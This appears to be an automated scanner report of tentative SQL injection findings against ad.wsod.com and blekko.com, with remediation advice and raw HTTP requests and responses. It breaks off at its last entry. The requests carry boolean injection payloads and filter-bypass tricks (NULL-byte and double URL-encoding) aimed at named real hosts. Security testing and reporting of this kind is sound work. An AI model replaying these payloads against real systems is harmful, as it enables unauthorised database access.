SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The PG parameter appears to be vulnerable to SQL injection attacks. The payloads 66872473'%20or%201%3d1--%20 and 66872473'%20or%201%3d2--%20 were each submitted in the PG parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/1296683335**;10,1,103;1920;1200;http%3A_@2F_@2Fmoney.msn.com_@2Finvesting_@3F998d7?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ66872473'%20or%201%3d1--%20&ASID=644f272384fc4ea392c9e50a46bc0aad HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response 1
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Sat, 05 Feb 2011 14:21:37 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 Set-Cookie: u=4d2cdd9abba1d; expires=Tue, 08-Mar-2011 14:21:37 GMT; path=/ Set-Cookie: i_1=33:353:22:3:0:38885:1296915697:L|33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L; expires=Mon, 07-Mar-2011 14:21:37 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 856
function wsodOOBClick() { var i = new Image(); i.src = 'http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ66872473'%20or%201%3d1--%20&ASI ...[SNIP]... <img style="border:none;" src="http://admedia.wsod.com/media/8bec9b10877d5d7fd7c0fb6e6a631357/7_texture_120x30-120x30NL.gif" alt="Online $7 Trades! Click to find out more!" /></a>'); document.close(); }
wsod_image();
Request 2
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/1296683335**;10,1,103;1920;1200;http%3A_@2F_@2Fmoney.msn.com_@2Finvesting_@3F998d7?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ66872473'%20or%201%3d2--%20&ASID=644f272384fc4ea392c9e50a46bc0aad HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response 2
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Sat, 05 Feb 2011 14:21:38 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 Set-Cookie: u=4d2cdd9abba1d; expires=Tue, 08-Mar-2011 14:21:38 GMT; path=/ Set-Cookie: i_1=33:353:516:3:0:38885:1296915698:L|33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L; expires=Mon, 07-Mar-2011 14:21:38 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 845
function wsodOOBClick() { var i = new Image(); i.src = 'http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ66872473'%20or%201%3d2--%20&ASI ...[SNIP]... <img style="border:none;" src="http://admedia.wsod.com/media/8bec9b10877d5d7fd7c0fb6e6a631357/120x30 Static.gif" alt="Online $7 Trades! Click to find out more!" /></a>'); document.close(); }
The i_34 cookie appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the i_34 cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/1296683335**;10,1,103;1920;1200;http%3A_@2F_@2Fmoney.msn.com_@2Finvesting_@3F998d7?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2'%20and%201%3d1--%20; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response 1
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Sat, 05 Feb 2011 14:22:57 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 Set-Cookie: u=4d2cdd9abba1d; expires=Tue, 08-Mar-2011 14:22:57 GMT; path=/ Set-Cookie: i_1=33:353:22:3:0:38885:1296915777:L|33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L; expires=Mon, 07-Mar-2011 14:22:57 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 829
function wsodOOBClick() { var i = new Image(); i.src = 'http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a4 ...[SNIP]... <img style="border:none;" src="http://admedia.wsod.com/media/8bec9b10877d5d7fd7c0fb6e6a631357/7_texture_120x30-120x30NL.gif" alt="Online $7 Trades! Click to find out more!" /></a>'); document.close(); }
wsod_image();
Request 2
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/1296683335**;10,1,103;1920;1200;http%3A_@2F_@2Fmoney.msn.com_@2Finvesting_@3F998d7?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2'%20and%201%3d2--%20; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response 2
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Sat, 05 Feb 2011 14:22:58 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 Set-Cookie: u=4d2cdd9abba1d; expires=Tue, 08-Mar-2011 14:22:58 GMT; path=/ Set-Cookie: i_1=33:353:516:3:0:38885:1296915778:L|33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L; expires=Mon, 07-Mar-2011 14:22:58 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 818
function wsodOOBClick() { var i = new Image(); i.src = 'http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a4 ...[SNIP]... <img style="border:none;" src="http://admedia.wsod.com/media/8bec9b10877d5d7fd7c0fb6e6a631357/120x30 Static.gif" alt="Online $7 Trades! Click to find out more!" /></a>'); document.close(); }
The suggestedSlashtagsList cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the suggestedSlashtagsList cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /ws/+/adsense=9396229490951644 HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1%00'; sessionid=352926924; fbl=2;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2 ...[SNIP]... form CSRF attacks against FTP services, in this case Sun Solaris 10 ftpd. An attacker could embed a payload such as the following to execute commands on ftpd. The NetBSD team addressed this issue by failing on large commands.</p> ...[SNIP]...
Request 2
GET /ws/+/adsense=9396229490951644 HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1%00''; sessionid=352926924; fbl=2;
Response 2
HTTP/1.1 509 Server: nginx Date: Wed, 02 Feb 2011 19:38:35 GMT Content-Type: text/html Content-Length: 1357 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>bl ...[SNIP]...
The sessionid cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the sessionid cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the sessionid cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /ws/+/ip=207.97.227.239 HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1; sessionid=352926924%2527; fbl=2;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2 ...[SNIP]... <p class="desc" id="snippet9">Generating SSH keys. Attempting to redirect to the guide for your OS. If the redirect fails, pick your OS. How to install git. How to generate SSH keys and add them to GitHub.</p> ...[SNIP]...
Request 2
GET /ws/+/ip=207.97.227.239 HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1; sessionid=352926924%2527%2527; fbl=2;
Response 2
HTTP/1.1 509 Server: nginx Date: Wed, 02 Feb 2011 19:38:49 GMT Content-Type: text/html Content-Length: 1357 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>bl ...[SNIP]...
The fbl cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the fbl cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the fbl cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /ws/+/press-videos HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1; sessionid=352926924; fbl=2%2527;
Response 1
HTTP/1.1 509 Server: nginx Date: Wed, 02 Feb 2011 19:37:27 GMT Content-Type: text/html Content-Length: 1357 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>bl ...[SNIP]...
Request 2
GET /ws/+/press-videos HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1; sessionid=352926924; fbl=2%2527%2527;
Response 2
HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Feb 2011 19:37:27 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding Set-Cookie: fbl=2; path=/; expires=Sat, 30 Jan 2021 19:37:27 GMT Cache-Control: private, max-age=86400 Expires: Thu, 03 Feb 2011 19:37:27 GMT Content-Length: 24116 X-Blekko-PT: 9e2a197eec3851ae4e785b4d3d881d57
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2 ...[SNIP]...
1.6. http://blekko.com/ws/+/press-videos [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://blekko.com
Path:
/ws/+/press-videos
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /ws/+/press-videos?1%00'=1 HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1; sessionid=352926924; fbl=2;
Response 1
HTTP/1.1 509 Server: nginx Date: Wed, 02 Feb 2011 19:37:31 GMT Content-Type: text/html Content-Length: 1357 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>bl ...[SNIP]...
Request 2
GET /ws/+/press-videos?1%00''=1 HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1; sessionid=352926924; fbl=2;
Response 2
HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Feb 2011 19:37:31 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding Set-Cookie: fbl=2; path=/; expires=Sat, 30 Jan 2021 19:37:31 GMT Cache-Control: private, max-age=86400 Expires: Thu, 03 Feb 2011 19:37:31 GMT Content-Length: 24146 X-Blekko-PT: 311769e7f41b71315993b41ac3f8ce2d
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2 ...[SNIP]...
The sessionid cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the sessionid cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /ws/+/press-videos HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1; sessionid=352926924%00'; fbl=2;
Response 1
HTTP/1.1 509 Server: nginx Date: Wed, 02 Feb 2011 19:37:26 GMT Content-Type: text/html Content-Length: 1357 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>bl ...[SNIP]...
Request 2
GET /ws/+/press-videos HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1; sessionid=352926924%00''; fbl=2;
Response 2
HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Feb 2011 19:37:26 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding Set-Cookie: fbl=2; path=/; expires=Sat, 30 Jan 2021 19:37:26 GMT Cache-Control: private, max-age=86400 Expires: Thu, 03 Feb 2011 19:37:26 GMT Content-Length: 24116 X-Blekko-PT: b99ae2b84b5ff48883c9d27b96b0889c
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2 ...[SNIP]...
The suggestedSlashtagsList cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the suggestedSlashtagsList cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the suggestedSlashtagsList cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /ws/+/press-videos HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1%2527; sessionid=352926924; fbl=2;
Response 1
HTTP/1.1 509 Server: nginx Date: Wed, 02 Feb 2011 19:37:25 GMT Content-Type: text/html Content-Length: 1357 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>bl ...[SNIP]...
Request 2
GET /ws/+/press-videos HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1%2527%2527; sessionid=352926924; fbl=2;
Response 2
HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Feb 2011 19:37:25 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding Set-Cookie: fbl=2; path=/; expires=Sat, 30 Jan 2021 19:37:25 GMT Cache-Control: private, max-age=86400 Expires: Thu, 03 Feb 2011 19:37:25 GMT Content-Length: 24137 X-Blekko-PT: 355cde925bffe3e60c7fb364a14fdbc7
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2 ...[SNIP]...
The t cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the t cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /ws/+/press-videos HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621'; suggestedSlashtagsList=1; sessionid=352926924; fbl=2;
Response 1
HTTP/1.1 509 Server: nginx Date: Wed, 02 Feb 2011 19:37:24 GMT Content-Type: text/html Content-Length: 1357 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>bl ...[SNIP]...
Request 2
GET /ws/+/press-videos HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621''; suggestedSlashtagsList=1; sessionid=352926924; fbl=2;
Response 2
HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Feb 2011 19:37:24 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding Set-Cookie: fbl=2; path=/; expires=Sat, 30 Jan 2021 19:37:24 GMT Cache-Control: private, max-age=86400 Expires: Thu, 03 Feb 2011 19:37:24 GMT Content-Length: 24116 X-Blekko-PT: 5dce9899c2a36d366147f2bbf44adfd0
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2 ...[SNIP]...
The v cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the v cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the v cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /ws/+/press-videos HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3%2527; t=1296674604621; suggestedSlashtagsList=1; sessionid=352926924; fbl=2;
Response 1
HTTP/1.1 509 Server: nginx Date: Wed, 02 Feb 2011 19:37:23 GMT Content-Type: text/html Content-Length: 1357 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>bl ...[SNIP]...
Request 2
GET /ws/+/press-videos HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3%2527%2527; t=1296674604621; suggestedSlashtagsList=1; sessionid=352926924; fbl=2;
Response 2
HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Feb 2011 19:37:23 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding Set-Cookie: fbl=2; path=/; expires=Sat, 30 Jan 2021 19:37:23 GMT Cache-Control: private, max-age=86400 Expires: Thu, 03 Feb 2011 19:37:23 GMT Content-Length: 24116 X-Blekko-PT: 26e1271c4a4322cb094bd1db889aad52
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2 ...[SNIP]...
The suggestedSlashtagsList cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the suggestedSlashtagsList cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /ws/+/privacy HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1%00'; sessionid=352926924; fbl=2;
Response 1
